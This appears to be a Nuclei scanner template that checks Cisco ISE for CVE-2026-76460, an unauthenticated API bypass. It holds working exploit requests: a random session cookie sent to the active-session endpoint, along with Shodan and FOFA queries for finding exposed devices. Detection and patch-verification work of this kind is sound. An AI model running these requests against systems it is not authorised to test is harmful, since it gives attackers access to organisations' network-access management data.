Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass

id: CVE-2026-76460

info:
  name: Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint.
  impact: |
    Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface.
  remediation: |
    Update to the latest available version with the fix.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-76460
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-76460
    epss-score: 0.14026
    epss-percentile: 0.96555
    cwe-id: CWE-648
  metadata:
    verified: true
    max-request: 2
    vendor: cisco
    product: identity_services_engine
    shodan-query: http.favicon.hash:-945076912
    fofa-query: title="identity services engine"
  tags: cve,cve2026,cisco,cisco-ise,auth-bypass,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin/API/mnt/Session/ActiveList HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    max-redirects: 0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains_any(body, "iseApiResponse", "Unauthorized")'
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/API/mnt/Session/ActiveList HTTP/1.1
        Host: {{Hostname}}
        Cookie: APPSESSIONID={{randstr}}

    redirects: false
    max-redirects: 0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "xml")'
          - 'contains(body, "activeSessionListResult")'
          - '!contains_any(body, "Unauthorized", "iseApiResponse", "login.jsp")'
        condition: and

    extractors:
      - type: kval
        kval:
          - x_ise_version
# digest: 4a0a00473045022020e2498e88c49598a9640e4391dc104da9c55079e2acfd3a327b9492d8f6adab022100e59df13cfe3abd7a76116784b520724e0b03dab43818d99b4006b3b5744c7236:922c64590222798bb761d5b6d8e72950